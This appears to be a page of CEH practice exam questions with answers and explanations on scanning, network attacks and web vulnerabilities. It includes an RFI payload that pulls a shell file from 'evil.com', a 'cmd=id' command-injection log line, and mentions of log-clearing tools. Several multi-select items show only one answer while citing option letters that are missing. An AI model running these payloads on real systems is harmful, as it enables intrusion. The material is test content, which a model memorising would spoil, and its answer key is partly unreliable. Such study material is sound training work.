CEH Practice Test 50 — 15 Questions

Question 1

A security engineer notices repeated log entries showing a user account logging in at odd hours and then clearing event logs. The engineer suspects credential theft. Which phase of the CHPSET methodology involves erasing tracks?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Erasing tracks. The CHPSET methodology (Cracking passwords, Hiding files, Planting backdoors, Spying, Erasing tracks, and Transferring files) defines the phases of system hacking. Erasing tracks is the phase where attackers clear event logs, modify log files, or use tools like `wevtutil` or `clearlogs.exe` to remove evidence of their activities, matching the engineer's observation of cleared logs after suspicious logins.

Answer

Hiding files

Answer

Spying

Answer

Cracking passwords

Question 2

During a penetration test, you run the following Nmap command: nmap -sS -sV -O -A -T4 --script=default 10.0.0.1. The scan results show that port 443 is open and the service is 'Apache httpd 2.4.29'. However, banner grabbing with Netcat shows 'Apache/2.4.41 (Ubuntu)'. What is the MOST likely explanation for the discrepancy?

Accepted Answer

Netcat banner grabbing is more reliable because it reads the actual server response. Netcat performs a direct TCP connection to the service and reads the raw banner as sent by the application, which is the most immediate and unfiltered version information. Nmap's version detection (-sV) relies on probe-response matching against its signature database, which can be outdated or misinterpret the service if the server uses banner obfuscation or if the Nmap database does not have an exact match for the newer version. In this case, Netcat reveals the actual server version (2.4.41), while Nmap's database may only have a signature for 2.4.29, leading to a false lower version.

Answer

The server is using a reverse proxy that presents a different version to Nmap

Answer

The discrepancy is due to Nmap's OS fingerprinting conflicting with version detection

Answer

Nmap is more accurate because it uses deep packet inspection

Question 3

A security administrator notices that the network switch is broadcasting traffic to all ports as if it were a hub. The switch logs show a sudden flood of packets with random MAC addresses. Which attack is MOST likely occurring?

Accepted Answer

MAC flooding. B is correct because MAC flooding attacks exploit the limited size of a switch's Content Addressable Memory (CAM) table. By sending a flood of packets with random source MAC addresses, the attacker fills the CAM table, forcing the switch to fail-open into hub mode (broadcasting all traffic to all ports) so that the attacker can capture frames not originally destined for their port.

Answer

SYN flood

Answer

ARP poisoning

Answer

DNS amplification

Question 4

Which of the following is the BEST defense against Cross-Site Request Forgery (CSRF) attacks?

Accepted Answer

CSRF tokens. CSRF tokens are the most robust defense against Cross-Site Request Forgery because they require the client to include a unique, unpredictable token in state-changing requests. The server validates the token, ensuring the request originated from the legitimate application. This prevents attackers from forging requests because they cannot guess or obtain the token.

Answer

SameSite cookies

Answer

Input validation

Answer

Output encoding

Question 5

During a penetration test, a tester captures network traffic and notices a large number of ARP replies claiming that 192.168.1.1 is at MAC address 00:11:22:33:44:55, which is different from the legitimate gateway MAC. Which attack is likely in progress?

Accepted Answer

ARP poisoning. ARP poisoning (also known as ARP spoofing) is the correct answer because the attacker is sending forged ARP replies that associate the legitimate gateway IP (192.168.1.1) with an attacker-controlled MAC address (00:11:22:33:44:55). This causes victim hosts to update their ARP cache with the false mapping, redirecting traffic intended for the gateway to the attacker's machine, enabling man-in-the-middle (MITM) attacks.

Answer

Session hijacking

Answer

MAC flooding

Answer

DNS spoofing

Question 6

Which Burp Suite tool is specifically designed to intercept and modify HTTP(S) traffic between the browser and the target web application?

Accepted Answer

Proxy. The Burp Suite Proxy is the core component that sits between the browser and the target web application, acting as a man-in-the-middle to intercept, inspect, and modify HTTP(S) requests and responses in real time. It is specifically designed for this interception and modification task, allowing testers to manually tamper with traffic before it reaches the server or client. Other tools like Intruder, Scanner, and Repeater rely on the Proxy to capture and forward traffic but do not themselves perform the initial interception and modification of live traffic.

Answer

Intruder

Answer

Scanner

Answer

Repeater

Question 7

Which TWO of the following describe the state of a port when Nmap reports it as 'filtered'? (Select 2)

Accepted Answer

A firewall is dropping the probe packets. Nmap reports a port as 'filtered' when it cannot determine whether the port is open or closed because probe packets are being dropped or blocked. Option C is correct because a firewall dropping probe packets (e.g., via a DROP rule in iptables or an ACL) prevents Nmap from receiving any response, leading to a 'filtered' state. Option D is correct because a firewall responding with ICMP unreachable errors (e.g., ICMP Type 3 Code 13, 'Communication Administratively Prohibited') also causes Nmap to classify the port as 'filtered', as the response indicates a filtering device is interfering.

Answer

The port is closed and the target sends a RST packet

Answer

The port is open and a service is listening

Answer

The port is open but no service is responding

Question 8

A web application tester notices that the application reflects user input in the URL without proper encoding. The tester submits a payload in a search field and the script executes in the browser. Which type of XSS vulnerability is this MOST likely?

Accepted Answer

Reflected XSS. Reflected XSS occurs when user input is immediately returned by the web server in the response without proper encoding, causing the script to execute in the victim's browser. The scenario describes a search field where the payload is reflected in the URL and executes, which is classic reflected XSS.

Answer

Blind XSS

Answer

Stored (persistent) XSS

Answer

DOM-based XSS

Question 9

A web application allows users to upload profile images. An attacker uploads a file named 'image.php.png' with malicious PHP code, and the server executes it as PHP. Which type of vulnerability is this?

Accepted Answer

Unrestricted file upload. The vulnerability is unrestricted file upload because the application allows an attacker to upload a file with a double extension ('image.php.png') that the server executes as PHP. This occurs when the server does not properly validate file types, extensions, or content, allowing executable code to be uploaded and run. The double extension tricks the server into treating the file as an image while the PHP interpreter executes it.

Answer

Directory traversal

Answer

Command injection

Answer

SQL injection

Question 10

A security analyst observes the following in Apache access logs: 'GET /cgi-bin/test.cgi?cmd=id HTTP/1.1' 200. This is most likely an attempt at which attack?

Accepted Answer

Command injection. The log entry shows a GET request to a CGI script with a parameter 'cmd=id'. The 'cmd' parameter is a classic indicator of command injection, where an attacker attempts to execute arbitrary system commands (in this case, 'id') via a vulnerable CGI script. The HTTP 200 response suggests the command may have executed successfully, confirming the attempt.

Answer

Local File Inclusion (LFI)

Answer

SQL injection

Answer

Directory traversal

Question 11

During a penetration test, you discover that the target organization uses a cloud-based email service. Which technique would allow you to gather employee email addresses and potentially infer internal organizational structure?

Accepted Answer

Use Google dorking to find publicly exposed email lists. Google dorking (advanced search operators) can uncover publicly exposed documents, such as PDFs or spreadsheets, that contain employee email addresses. These documents are often indexed by search engines and can reveal email patterns (e.g., first.last@company.com) and departmental groupings, allowing inference of the internal organizational structure without interacting directly with the target's infrastructure.

Answer

Perform a WHOIS lookup on the domain

Answer

Attempt a DNS zone transfer

Answer

Run an nmap scan against the mail server

Question 12

A security analyst runs `nbtstat -A 192.168.1.50` from a Windows command prompt and receives output showing a table with names like 'WORKGROUP<00>', 'PC01<20>', and 'USER<03>'. What is the MOST likely purpose of this command?

Accepted Answer

Display the NetBIOS name table of the remote host. The `nbtstat -A` command performs a NetBIOS name table lookup against a remote host using its IP address. The output shows NetBIOS names and their associated suffixes (e.g., <00> for Workstation service, <20> for File Server service, <03> for Messenger service), which are used for NetBIOS over TCP/IP (NBT) name resolution and service discovery. This is the correct purpose because the command specifically queries the remote host's NetBIOS name table, not DNS or ICMP.

Answer

Perform a reverse DNS lookup

Answer

Test connectivity to the remote host using ICMP

Answer

Enumerate DNS records for the domain

Question 13

An attacker exploits a vulnerable parameter in a web application by submitting the following payload: http://target.com/page.php?file=http://evil.com/shell.txt. The server returns the contents of the remote file. This is an example of which type of attack?

Accepted Answer

Remote File Inclusion (RFI). The payload includes a URL to a remote file (http://evil.com/shell.txt) that the server fetches and executes or returns. This is characteristic of Remote File Inclusion (RFI), where an attacker includes a file from an external server. The server returning the contents indicates the remote file was included.

Answer

Directory traversal

Answer

Local File Inclusion (LFI)

Answer

Command injection

Question 14

A penetration tester is performing a check for HTTP response splitting. Which THREE of the following conditions must be present for this attack to succeed?

Accepted Answer

The application reflects user input in the HTTP response headers. HTTP response splitting succeeds when three conditions align. Option A is correct because the application must reflect attacker-controlled input into HTTP response headers (e.g., a Location or Set-Cookie header), which is the injection point for the attack. Option E is correct because the reflected input must contain unsanitized CRLF sequences (%0d%0a), since these carriage-return/line-feed characters terminate the current header and let the attacker start new ones. Option D is correct because the injected CRLF must be sufficient to forge additional header lines and a second HTTP response body, which is the actual splitting effect. Option B is not required: reflection in the response body alone does not let the attacker manipulate header boundaries. Option C is irrelevant: HTTPS encrypts transport but does not prevent header injection, and the attack works over HTTP or HTTPS alike.

Answer

The application reflects user input in the HTTP response body

Answer

The application uses HTTPS exclusively

Question 15

Which TWO of the following are features of a Remote Access Trojan (RAT)?

Accepted Answer

It often includes a backdoor to bypass authentication. A Remote Access Trojan (RAT) is designed to provide an attacker with covert remote control over an infected system, often including a backdoor to bypass standard authentication mechanisms. This allows the attacker to execute commands, exfiltrate data, or use the system as a pivot point, which directly aligns with options D and E.

Answer

It encrypts files and demands ransom

Answer

It infects the Master Boot Record

Answer

It replicates itself across the network autonomously